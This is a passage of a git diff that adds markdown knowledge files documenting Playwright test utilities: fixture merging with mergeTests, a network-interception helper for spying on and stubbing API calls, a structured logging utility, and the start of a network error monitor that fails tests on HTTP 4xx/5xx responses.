+- Maintainable separation of concerns
+
+### Example 3: Full Utility Suite Integration
+
+**Context**: Production setup with all core playwright-utils and custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+
+// Playwright utils fixtures
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as interceptFixture } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as networkRecorderFixture } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Custom project fixtures
+import { test as customFixtures } from './custom-fixtures';
+
+// Merge everything
+export const test = mergeTests(apiRequestFixture, authFixture, interceptFixture, recurseFixture, networkRecorderFixture, customFixtures);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('full integration', async ({
+  page,
+  context,
+  apiRequest,
+  authToken,
+  interceptNetworkCall,
+  recurse,
+  networkRecorder,
+  testUser, // custom
+}) => {
+  // All utilities + custom fixtures available
+  await networkRecorder.setup(context);
+
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+
+  await page.goto('/users');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toContainEqual(expect.objectContaining({ id: testUser.id }));
+});
+```
+
+**Key Points**:
+
+- One merged-fixtures.ts for entire project
+- Combine all playwright-utils you use
+- Add custom project fixtures
+- Single import in all test files
+
+### Example 4: Fixture Override Pattern
+
+**Context**: Override default options for specific test files or describes.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '../support/merged-fixtures';
+
+// Override auth options for entire file
+test.use({
+  authOptions: {
+    userIdentifier: 'admin',
+    environment: 'staging',
+  },
+});
+
+test('uses admin on staging', async ({ authToken }) => {
+  // Token is for admin user on staging environment
+});
+
+// Override for specific describe block
+test.describe('manager tests', () => {
+  test.use({
+    authOptions: {
+      userIdentifier: 'manager',
+    },
+  });
+
+  test('manager can access reports', async ({ page }) => {
+    // Uses manager token
+    await page.goto('/reports');
+  });
+});
+```
+
+**Key Points**:
+
+- `test.use()` overrides fixture options
+- Can override at file or describe level
+- Options merge with defaults
+- Type-safe overrides
+
+### Example 5: Avoiding Fixture Conflicts
+
+**Context**: Handle name collisions when merging fixtures with same names.
+
+**Implementation**:
+
+```typescript
+// If two fixtures have same name, last one wins
+import { test as fixture1 } from './fixture1'; // has 'user' fixture
+import { test as fixture2 } from './fixture2'; // also has 'user' fixture
+
+const test = mergeTests(fixture1, fixture2);
+// fixture2's 'user' overrides fixture1's 'user'
+
+// Better: Rename fixtures before merging
+import { test as base } from '@playwright/test';
+import { test as fixture1 } from './fixture1';
+
+const fixture1Renamed = base.extend({
+  user1: fixture1._extend.user, // Rename to avoid conflict
+});
+
+const test = mergeTests(fixture1Renamed, fixture2);
+// Now both 'user1' and 'user' available
+
+// Best: Design fixtures without conflicts
+// - Prefix custom fixtures: 'myAppUser', 'myAppDb'
+// - Playwright-utils uses descriptive names: 'apiRequest', 'authToken'
+```
+
+**Key Points**:
+
+- Last fixture wins in conflicts
+- Rename fixtures to avoid collisions
+- Design fixtures with unique names
+- Playwright-utils uses descriptive names (no conflicts)
+
+## Recommended Project Structure
+
+```
+playwright/
+├── support/
+│   ├── merged-fixtures.ts        # ⭐ Single test object for project
+│   ├── custom-fixtures.ts        # Your project-specific fixtures
+│   ├── auth/
+│   │   ├── auth-fixture.ts       # Auth wrapper (if needed)
+│   │   └── custom-auth-provider.ts
+│   ├── fixtures/
+│   │   ├── user-fixture.ts
+│   │   ├── db-fixture.ts
+│   │   └── api-fixture.ts
+│   └── utils/
+│       └── factories/
+└── tests/
+    ├── api/
+    │   └── users.spec.ts          # import { test } from '../../support/merged-fixtures'
+    ├── e2e/
+    │   └── login.spec.ts          # import { test } from '../../support/merged-fixtures'
+    └── component/
+        └── button.spec.ts         # import { test } from '../../support/merged-fixtures'
+```
+
+## Benefits of Fixture Composition
+
+**Compared to direct imports:**
+
+```typescript
+// ❌ Without mergeTests (verbose)
+import { test as base } from '@playwright/test';
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+import { getAuthToken } from './auth';
+import { createUser } from './factories';
+
+test('verbose', async ({ request }) => {
+  const token = await getAuthToken();
+  const user = await createUser();
+  const response = await apiRequest({ request, method: 'GET', path: '/api/users' });
+  // Manual wiring everywhere
+});
+
+// ✅ With mergeTests (clean)
+import { test } from '../support/merged-fixtures';
+
+test('clean', async ({ apiRequest, authToken, testUser }) => {
+  const { body } = await apiRequest({ method: 'GET', path: '/api/users' });
+  // All fixtures auto-wired
+});
+```
+
+**Reduction:** ~10 lines per test → ~2 lines
+
+## Related Fragments
+
+- `overview.md` - Installation and design principles
+- `api-request.md`, `auth-session.md`, `recurse.md` - Utilities to merge
+- `network-recorder.md`, `intercept-network-call.md`, `log.md` - Additional utilities
+
+## Anti-Patterns
+
+**❌ Importing test from multiple fixture files:**
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+// Also need auth...
+import { test as authTest } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+// Name conflict! Which test to use?
+```
+
+**✅ Use merged fixtures:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+// All utilities available, no conflicts
+```
+
+**❌ Merging too many fixtures (kitchen sink):**
+
+```typescript
+// Merging 20+ fixtures makes test signature huge
+const test = mergeTests(...20 different fixtures)
+
+test('my test', async ({ fixture1, fixture2, ..., fixture20 }) => {
+  // Cognitive overload
+})
+```
+
+**✅ Merge only what you actually use:**
+
+```typescript
+// Merge the 4-6 fixtures your project actually needs
+const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, customFixtures);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/intercept-network-call.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/intercept-network-call.md
new file mode 100644
index 0000000..8c892d2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/intercept-network-call.md
@@ -0,0 +1,426 @@
+# Intercept Network Call Utility
+
+## Principle
+
+Intercept network requests with a single declarative call that returns a Promise. Automatically parse JSON responses, support both spy (observe) and stub (mock) patterns, and use powerful glob pattern matching for URL filtering.
+
+## Rationale
+
+Vanilla Playwright's network interception requires multiple steps:
+
+- `page.route()` to setup, `page.waitForResponse()` to capture
+- Manual JSON parsing
+- Verbose syntax for conditional handling
+- Complex filter predicates
+
+The `interceptNetworkCall` utility provides:
+
+- **Single declarative call**: Setup and wait in one statement
+- **Automatic JSON parsing**: Response pre-parsed, strongly typed
+- **Flexible URL patterns**: Glob matching with picomatch
+- **Spy or stub modes**: Observe real traffic or mock responses
+- **Concise API**: Reduces boilerplate by 60-70%
+
+## Pattern Examples
+
+### Example 1: Spy on Network (Observe Real Traffic)
+
+**Context**: Capture and inspect real API responses for validation.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+
+test('should spy on users API', async ({ page, interceptNetworkCall }) => {
+  // Setup interception BEFORE navigation
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users', // Glob pattern
+  });
+
+  await page.goto('/dashboard');
+
+  // Wait for response and access parsed data
+  const { responseJson, status } = await usersCall;
+
+  expect(status).toBe(200);
+  expect(responseJson).toHaveLength(10);
+  expect(responseJson[0]).toHaveProperty('name');
+});
+```
+
+**Key Points**:
+
+- Intercept before navigation (critical for race-free tests)
+- Returns Promise with `{ responseJson, status, requestBody }`
+- Glob patterns (`**` matches any path segment)
+- JSON automatically parsed
+
+### Example 2: Stub Network (Mock Response)
+
+**Context**: Mock API responses for testing UI behavior without backend.
+
+**Implementation**:
+
+```typescript
+test('should stub users API', async ({ page, interceptNetworkCall }) => {
+  const mockUsers = [
+    { id: 1, name: 'Test User 1' },
+    { id: 2, name: 'Test User 2' },
+  ];
+
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 200,
+      body: mockUsers,
+    },
+  });
+
+  await page.goto('/dashboard');
+  await usersCall;
+
+  // UI shows mocked data
+  await expect(page.getByText('Test User 1')).toBeVisible();
+  await expect(page.getByText('Test User 2')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `fulfillResponse` mocks the API
+- No backend needed
+- Test UI logic in isolation
+- Status code and body fully controllable
+
+### Example 3: Conditional Response Handling
+
+**Context**: Different responses based on request method or parameters.
+
+**Implementation**:
+
+```typescript
+test('conditional mocking', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/data',
+    handler: async (route, request) => {
+      if (request.method() === 'POST') {
+        // Mock POST success
+        await route.fulfill({
+          status: 201,
+          body: JSON.stringify({ id: 'new-id', success: true }),
+        });
+      } else if (request.method() === 'GET') {
+        // Mock GET with data
+        await route.fulfill({
+          status: 200,
+          body: JSON.stringify([{ id: 1, name: 'Item' }]),
+        });
+      } else {
+        // Let other methods through
+        await route.continue();
+      }
+    },
+  });
+
+  await page.goto('/data-page');
+});
+```
+
+**Key Points**:
+
+- `handler` function for complex logic
+- Access full `route` and `request` objects
+- Can mock, continue, or abort
+- Flexible for advanced scenarios
+
+### Example 4: Error Simulation
+
+**Context**: Testing error handling in UI when API fails.
+
+**Implementation**:
+
+```typescript
+test('should handle API errors gracefully', async ({ page, interceptNetworkCall }) => {
+  // Simulate 500 error
+  const errorCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 500,
+      body: { error: 'Internal Server Error' },
+    },
+  });
+
+  await page.goto('/dashboard');
+  await errorCall;
+
+  // Verify UI shows error state
+  await expect(page.getByText('Failed to load users')).toBeVisible();
+  await expect(page.getByTestId('retry-button')).toBeVisible();
+});
+
+// Simulate network timeout
+test('should handle timeout', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/slow',
+    handler: async (route) => {
+      // Never respond - simulates timeout
+      await new Promise(() => {});
+    },
+  });
+
+  await page.goto('/slow-page');
+
+  // UI should show timeout error
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 10000 });
+});
+```
+
+**Key Points**:
+
+- Mock error statuses (4xx, 5xx)
+- Test timeout scenarios
+- Validate error UI states
+- No real failures needed
+
+### Example 5: Order Matters - Intercept Before Navigate
+
+**Context**: The interceptor must be set up before the network request occurs.
+
+**Implementation**:
+
+```typescript
+// INCORRECT - interceptor set up too late
+await page.goto('https://example.com'); // Request already happened
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await networkCall; // Will hang indefinitely!
+
+// CORRECT - Set up interception first
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await page.goto('https://example.com');
+const result = await networkCall;
+```
+
+This pattern follows the classic test spy/stub pattern:
+
+1. Define the spy/stub (set up interception)
+2. Perform the action (trigger the network request)
+3. Assert on the spy/stub (await and verify the response)
+
+### Example 6: Multiple Intercepts
+
+**Context**: Intercepting different endpoints in same test - setup order is critical.
+
+**Implementation**:
+
+```typescript
+test('multiple intercepts', async ({ page, interceptNetworkCall }) => {
+  // Setup all intercepts BEFORE navigation
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+  const productsCall = interceptNetworkCall({ url: '**/api/products' });
+  const ordersCall = interceptNetworkCall({ url: '**/api/orders' });
+
+  // THEN navigate
+  await page.goto('/dashboard');
+
+  // Wait for all (or specific ones)
+  const [users, products] = await Promise.all([usersCall, productsCall]);
+
+  expect(users.responseJson).toHaveLength(10);
+  expect(products.responseJson).toHaveLength(50);
+});
+```
+
+**Key Points**:
+
+- Setup all intercepts before triggering actions
+- Use `Promise.all()` to wait for multiple calls
+- Order: intercept -> navigate -> await
+- Prevents race conditions
+
+### Example 7: Capturing Multiple Requests to the Same Endpoint
+
+**Context**: Each `interceptNetworkCall` captures only the first matching request.
+
+**Implementation**:
+
+```typescript
+// Capturing a known number of requests
+const firstRequest = interceptNetworkCall({ url: '/api/data' });
+const secondRequest = interceptNetworkCall({ url: '/api/data' });
+
+await page.click('#load-data-button');
+
+const firstResponse = await firstRequest;
+const secondResponse = await secondRequest;
+
+expect(firstResponse.status).toBe(200);
+expect(secondResponse.status).toBe(200);
+
+// Handling an unknown number of requests
+const getDataRequestInterceptor = () =>
+  interceptNetworkCall({
+    url: '/api/data',
+    timeout: 1000, // Short timeout to detect when no more requests are coming
+  });
+
+let currentInterceptor = getDataRequestInterceptor();
+const allResponses = [];
+
+await page.click('#load-multiple-data-button');
+
+while (true) {
+  try {
+    const response = await currentInterceptor;
+    allResponses.push(response);
+    currentInterceptor = getDataRequestInterceptor();
+  } catch (error) {
+    // No more requests (timeout)
+    break;
+  }
+}
+
+console.log(`Captured ${allResponses.length} requests to /api/data`);
+```
+
+### Example 8: Using Timeout
+
+**Context**: Set a timeout for waiting on a network request.
+
+**Implementation**:
+
+```typescript
+const dataCall = interceptNetworkCall({
+  method: 'GET',
+  url: '/api/data-that-might-be-slow',
+  timeout: 5000, // 5 seconds timeout
+});
+
+await page.goto('/data-page');
+
+try {
+  const { responseJson } = await dataCall;
+  console.log('Data loaded successfully:', responseJson);
+} catch (error) {
+  if (error.message.includes('timeout')) {
+    console.log('Request timed out as expected');
+  } else {
+    throw error;
+  }
+}
+```
+
+## URL Pattern Matching
+
+The utility uses [picomatch](https://github.com/micromatch/picomatch) for powerful glob pattern matching, dramatically simplifying URL targeting:
+
+**Supported glob patterns:**
+
+```typescript
+'**/api/users'; // Any path ending with /api/users
+'/api/users'; // Exact match
+'**/users/*'; // Any users sub-path
+'**/api/{users,products}'; // Either users or products
+'**/api/users?id=*'; // With query params
+```
+
+**Comparison with vanilla Playwright:**
+
+```typescript
+// Vanilla Playwright - complex predicate
+const predicate = (response) => {
+  const url = response.url();
+  return url.endsWith('/api/users') || url.match(/\/api\/users\/\d+/) || (url.includes('/api/users/') && url.includes('/profile'));
+};
+page.waitForResponse(predicate);
+
+// With interceptNetworkCall - simple glob patterns
+interceptNetworkCall({ url: '/api/users' }); // Exact endpoint
+interceptNetworkCall({ url: '/api/users/*' }); // User by ID pattern
+interceptNetworkCall({ url: '/api/users/*/profile' }); // Specific sub-paths
+interceptNetworkCall({ url: '/api/users/**' }); // Match all
+```
+
+## API Reference
+
+### `interceptNetworkCall(options)`
+
+| Parameter         | Type       | Description                                                           |
+| ----------------- | ---------- | --------------------------------------------------------------------- |
+| `page`            | `Page`     | Required when using direct import (not needed with fixture)           |
+| `method`          | `string`   | Optional: HTTP method to match (e.g., 'GET', 'POST')                  |
+| `url`             | `string`   | Optional: URL pattern to match (supports glob patterns via picomatch) |
+| `fulfillResponse` | `object`   | Optional: Response to use when mocking                                |
+| `handler`         | `function` | Optional: Custom handler function for the route                       |
+| `timeout`         | `number`   | Optional: Timeout in milliseconds for the network request             |
+
+### `fulfillResponse` Object
+
+| Property  | Type                     | Description                                           |
+| --------- | ------------------------ | ----------------------------------------------------- |
+| `status`  | `number`                 | HTTP status code (default: 200)                       |
+| `headers` | `Record<string, string>` | Response headers                                      |
+| `body`    | `any`                    | Response body (will be JSON.stringified if an object) |
+
+### Return Value
+
+Returns a `Promise<NetworkCallResult>` with:
+
+| Property       | Type       | Description                             |
+| -------------- | ---------- | --------------------------------------- |
+| `request`      | `Request`  | The intercepted request                 |
+| `response`     | `Response` | The response (null if mocked)           |
+| `responseJson` | `any`      | Parsed JSON response (if available)     |
+| `status`       | `number`   | HTTP status code                        |
+| `requestJson`  | `any`      | Parsed JSON request body (if available) |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                          | intercept-network-call                                       |
+| ----------------------------------------------------------- | ------------------------------------------------------------ |
+| `await page.route('/api/users', route => route.continue())` | `const call = interceptNetworkCall({ url: '**/api/users' })` |
+| `const resp = await page.waitForResponse('/api/users')`     | (Combined in single statement)                               |
+| `const json = await resp.json()`                            | `const { responseJson } = await call`                        |
+| `const status = resp.status()`                              | `const { status } = await call`                              |
+| Complex filter predicates                                   | Simple glob patterns                                         |
+
+**Reduction:** ~5-7 lines -> ~2-3 lines per interception
+
+## Related Fragments
+
+- `network-first.md` - Core pattern: intercept before navigate
+- `network-recorder.md` - HAR-based offline testing
+- `overview.md` - Fixture composition basics
+
+## Anti-Patterns
+
+**DON'T intercept after navigation:**
+
+```typescript
+await page.goto('/dashboard'); // Navigation starts
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // Too late!
+```
+
+**DO intercept before navigate:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // First
+await page.goto('/dashboard'); // Then navigate
+const { responseJson } = await usersCall; // Then await
+```
+
+**DON'T ignore the returned Promise:**
+
+```typescript
+interceptNetworkCall({ url: '**/api/users' }); // Not awaited!
+await page.goto('/dashboard');
+// No deterministic wait - race condition
+```
+
+**DO always await the intercept:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' });
+await page.goto('/dashboard');
+await usersCall; // Deterministic wait
+```
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/log.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/log.md
new file mode 100644
index 0000000..2edca5a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/log.md
@@ -0,0 +1,426 @@
+# Log Utility
+
+## Principle
+
+Use structured logging that integrates with Playwright's test reports. Support object logging, test step decoration, and multiple log levels (info, step, success, warning, error, debug).
+
+## Rationale
+
+Console.log in Playwright tests has limitations:
+
+- Not visible in HTML reports
+- No test step integration
+- No structured output
+- Lost in terminal noise during CI
+
+The `log` utility provides:
+
+- **Report integration**: Logs appear in Playwright HTML reports
+- **Test step decoration**: `log.step()` creates collapsible steps in UI
+- **Object logging**: Automatically formats objects/arrays
+- **Multiple levels**: info, step, success, warning, error, debug
+- **Optional console**: Can disable console output but keep report logs
+
+## Quick Start
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+// Basic logging
+await log.info('Starting test');
+await log.step('Test step shown in Playwright UI');
+await log.success('Operation completed');
+await log.warning('Something to note');
+await log.error('Something went wrong');
+await log.debug('Debug information');
+```
+
+## Pattern Examples
+
+### Example 1: Basic Logging Levels
+
+**Context**: Log different types of messages throughout test execution.
+
+**Implementation**:
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('logging demo', async ({ page }) => {
+  await log.step('Navigate to login page');
+  await page.goto('/login');
+
+  await log.info('Entering credentials');
+  await page.fill('#username', 'testuser');
+
+  await log.success('Login successful');
+
+  await log.warning('Rate limit approaching');
+
+  await log.debug({ userId: '123', sessionId: 'abc' });
+
+  // Errors still throw but get logged first
+  try {
+    await page.click('#nonexistent');
+  } catch (error) {
+    await log.error('Click failed', false); // false = no console output
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `step()` creates collapsible steps in Playwright UI
+- `info()`, `success()`, `warning()` for different message types
+- `debug()` for detailed data (objects/arrays)
+- `error()` with optional console suppression
+- All logs appear in test reports
+
+### Example 2: Object and Array Logging
+
+**Context**: Log structured data for debugging without cluttering console.
+
+**Implementation**:
+
+```typescript
+test('object logging', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  // Log array of objects
+  await log.debug(body); // Formatted as JSON in report
+
+  // Log specific object
+  await log.info({
+    totalUsers: body.length,
+    firstUser: body[0]?.name,
+    timestamp: new Date().toISOString(),
+  });
+
+  // Complex nested structures
+  await log.debug({
+    request: {
+      method: 'GET',
+      path: '/api/users',
+      timestamp: Date.now(),
+    },
+    response: {
+      status: 200,
+      body: body.slice(0, 3), // First 3 items
+    },
+  });
+});
+```
+
+**Key Points**:
+
+- Objects auto-formatted as pretty JSON
+- Arrays handled gracefully
+- Nested structures supported
+- All visible in Playwright report attachments
+
+### Example 3: Test Step Organization
+
+**Context**: Organize test execution into collapsible steps for better readability in reports.
+
+**Implementation**:
+
+```typescript
+test('organized with steps', async ({ page, apiRequest }) => {
+  await log.step('ARRANGE: Setup test data');
+  const { body: user } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'Test User' },
+  });
+
+  await log.step('ACT: Perform user action');
+  await page.goto(`/users/${user.id}`);
+  await page.click('#edit');
+  await page.fill('#name', 'Updated Name');
+  await page.click('#save');
+
+  await log.step('ASSERT: Verify changes');
+  await expect(page.getByText('Updated Name')).toBeVisible();
+
+  // In Playwright UI, each step is collapsible
+});
+```
+
+**Key Points**:
+
+- `log.step()` creates collapsible sections
+- Organize by Arrange-Act-Assert
+- Steps visible in Playwright trace viewer
+- Better debugging when tests fail
+
+### Example 4: Test Step Decorators
+
+**Context**: Create collapsible test steps in Playwright UI using decorators.
+
+**Page Object Methods with @methodTestStep:**
+
+```typescript
+import { methodTestStep } from '@seontechnologies/playwright-utils';
+
+class TodoPage {
+  constructor(private page: Page) {
+    this.name = 'TodoPage';
+  }
+
+  readonly name: string;
+
+  @methodTestStep('Add todo item')
+  async addTodo(text: string) {
+    await log.info(`Adding todo: ${text}`);
+    const newTodo = this.page.getByPlaceholder('What needs to be done?');
+    await newTodo.fill(text);
+    await newTodo.press('Enter');
+    await log.step('step within a decorator');
+    await log.success(`Added todo: ${text}`);
+  }
+
+  @methodTestStep('Get all todos')
+  async getTodos() {
+    await log.info('Getting all todos');
+    return this.page.getByTestId('todo-title');
+  }
+}
+```
+
+**Function Helpers with functionTestStep:**
+
+```typescript
+import { functionTestStep } from '@seontechnologies/playwright-utils';
+
+// Define todo items for the test
+const TODO_ITEMS = ['buy groceries', 'pay bills', 'schedule meeting'];
+
+const createDefaultTodos = functionTestStep('Create default todos', async (page: Page) => {
+  await log.info('Creating default todos');
+  await log.step('step within a functionWrapper');
+  const todoPage = new TodoPage(page);
+
+  for (const item of TODO_ITEMS) {
+    await todoPage.addTodo(item);
+  }
+
+  await log.success('Created all default todos');
+});
+
+const checkNumberOfTodosInLocalStorage = functionTestStep('Check total todos count fn-step', async (page: Page, expected: number) => {
+  await log.info(`Verifying todo count: ${expected}`);
+  const result = await page.waitForFunction((e) => JSON.parse(localStorage['react-todos']).length === e, expected);
+  await log.success(`Verified todo count: ${expected}`);
+  return result;
+});
+```
+
+### Example 5: File Logging
+
+**Context**: Enable file logging for persistent logs.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { log, captureTestContext } from '@seontechnologies/playwright-utils';
+
+// Configure file logging globally
+log.configure({
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs/organized-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Extend base test with file logging context capture
+export const test = base.extend({
+  // Auto-capture test context for file logging
+  autoTestContext: [
+    async ({}, use, testInfo) => {
+      captureTestContext(testInfo);
+      await use(undefined);
+    },
+    { auto: true },
+  ],
+});
+```
+
+### Example 6: Integration with Auth and API
+
+**Context**: Log authenticated API requests with tokens (safely).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+// Helper to create safe token preview
+function createTokenPreview(token: string): string {
+  if (!token || token.length < 10) return '[invalid]';
+  return `${token.slice(0, 6)}...${token.slice(-4)}`;
+}
+
+test('should log auth flow', async ({ authToken, apiRequest }) => {
+  await log.info(`Using token: ${createTokenPreview(authToken)}`);
+
+  await log.step('Fetch protected resource');
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await log.debug({
+    status,
+    bodyPreview: {
+      id: body.id,
+      recordCount: body.data?.length,
+    },
+  });
+
+  await log.success('Protected resource accessed successfully');
+});
+```
+
+**Key Points**:
+
+- Never log full tokens (security risk)
+- Use preview functions for sensitive data
+- Combine with auth and API utilities
+- Log at appropriate detail level
+
+## Configuration
+
+**Defaults:** console logging enabled, file logging disabled.
+
+```typescript
+// Enable file logging in config
+log.configure({
+  console: true, // default
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Per-test override
+await log.info('Message', {
+  console: { enabled: false },
+  fileLogging: { enabled: true },
+});
+```
+
+### Environment Variables
+
+```bash
+# Disable all logging
+SILENT=true
+
+# Disable only file logging
+DISABLE_FILE_LOGS=true
+
+# Disable only console logging
+DISABLE_CONSOLE_LOGS=true
+```
+
+### Level Filtering
+
+```typescript
+log.configure({
+  level: 'warning', // Only warning, error levels will show
+});
+
+// Available levels (in priority order):
+// debug < info < step < success < warning < error
+```
+
+### Sync Methods
+
+For non-test contexts (global setup, utility functions):
+
+```typescript
+// Use sync methods when async/await isn't available
+log.infoSync('Initializing configuration');
+log.successSync('Environment configured');
+log.errorSync('Setup failed');
+```
+
+## Log Levels Guide
+
+| Level     | When to Use                         | Shows in Report   | Shows in Console |
+| --------- | ----------------------------------- | ----------------- | ---------------- |
+| `step`    | Test organization, major actions    | Collapsible steps | Yes              |
+| `info`    | General information, state changes  | Yes               | Yes              |
+| `success` | Successful operations               | Yes               | Yes              |
+| `warning` | Non-critical issues, skipped checks | Yes               | Yes              |
+| `error`   | Failures, exceptions                | Yes               | Configurable     |
+| `debug`   | Detailed data, objects              | Yes (attached)    | Configurable     |
+
+## Comparison with console.log
+
+| console.log             | log Utility               |
+| ----------------------- | ------------------------- |
+| Not in reports          | Appears in reports        |
+| No test steps           | Creates collapsible steps |
+| Manual JSON.stringify() | Auto-formats objects      |
+| No log levels           | 6 log levels              |
+| Lost in CI output       | Preserved in artifacts    |
+
+## Related Fragments
+
+- `overview.md` - Basic usage and imports
+- `api-request.md` - Log API requests
+- `auth-session.md` - Log auth flow (safely)
+- `recurse.md` - Log polling progress
+
+## Anti-Patterns
+
+**DON'T log objects in steps:**
+
+```typescript
+await log.step({ user: 'test', action: 'create' }); // Shows empty in UI
+```
+
+**DO use strings for steps, objects for debug:**
+
+```typescript
+await log.step('Creating user: test'); // Readable in UI
+await log.debug({ user: 'test', action: 'create' }); // Detailed data
+```
+
+**DON'T log sensitive data:**
+
+```typescript
+await log.info(`Password: ${password}`); // Security risk!
+await log.info(`Token: ${authToken}`); // Full token exposed!
+```
+
+**DO use previews or omit sensitive data:**
+
+```typescript
+await log.info('User authenticated successfully'); // No sensitive data
+await log.debug({ tokenPreview: token.slice(0, 6) + '...' });
+```
+
+**DON'T log excessively in loops:**
+
+```typescript
+for (const item of items) {
+  await log.info(`Processing ${item.id}`); // 100 log entries!
+}
+```
+
+**DO log summary or use debug level:**
+
+```typescript
+await log.step(`Processing ${items.length} items`);
+await log.debug({ itemIds: items.map((i) => i.id) }); // One log entry
+```
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/network-error-monitor.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/network-error-monitor.md
new file mode 100644
index 0000000..e19771d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/network-error-monitor.md
@@ -0,0 +1,401 @@
+# Network Error Monitor
+
+## Principle
+
+Automatically detect and fail tests when HTTP 4xx/5xx errors occur during execution. Act like Sentry for tests - catch silent backend failures even when UI passes assertions.
+
+## Rationale
+
+Traditional Playwright tests focus on UI:
+
+- Backend 500 errors ignored if UI looks correct
+- Silent failures slip through
+- No visibility into background API health
+- Tests pass while features are broken
+
+The `network-error-monitor` provides:
+
+- **Automatic detection**: All HTTP 4xx/5xx responses tracked
+- **Test failures**: Fail tests with backend errors (even if UI passes)
+- **Structured artifacts**: JSON reports with error details
+- **Smart opt-out**: Disable for validation tests expecting errors
+- **Deduplication**: Group repeated errors by pattern
+- **Domino effect prevention**: Limit test failures per error pattern
+- **Respects test status**: Won't suppress actual test failures
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// That's it! Network monitoring is automatically enabled
+test('my test', async ({ page }) => {
+  await page.goto('/dashboard');
+  // If any HTTP 4xx/5xx errors occur, the test will fail
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Auto-Monitoring
+
+**Context**: Automatically fail tests when backend errors occur.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Monitoring automatically enabled
+test('should load dashboard', async ({ page }) => {
+  await page.goto('/dashboard');
+  await expect(page.locator('h1')).toContainText('Dashboard');
+
+  // Passes if no HTTP errors
+  // Fails if any 4xx/5xx errors detected with clear message:
+  //    "Network errors detected: 2 request(s) failed"
+  //    Failed requests:
+  //      GET 500 https://api.example.com/users
+  //      POST 503 https://api.example.com/metrics
+});
+```
+
+**Key Points**:
+
+- Zero setup - auto-enabled for all tests
+- Fails on any 4xx/5xx response
+- Structured error message with URLs and status codes
+- JSON artifact attached to test report
+
+### Example 2: Opt-Out for Validation Tests
+
+**Context**: Some tests expect errors (validation, error handling, edge cases).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Opt-out with annotation
+test('should show error on invalid input', { annotation: [{ type: 'skipNetworkMonitoring' }] }, async ({ page }) => {
+  await page.goto('/form');
+  await page.click('#submit'); // Triggers 400 error
+
+  // Monitoring disabled - test won't fail on 400
+  await expect(page.getByText('Invalid input')).toBeVisible();
+});
+
+// Or opt-out entire describe block
+test.describe('error handling', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  test('handles 404', async ({ page }) => {
+    // All tests in this block skip monitoring
+  });
+
+  test('handles 500', async ({ page }) => {
+    // Monitoring disabled
+  });
+});
+```
+
+**Key Points**:
+
+- Use annotation `{ type: 'skipNetworkMonitoring' }`
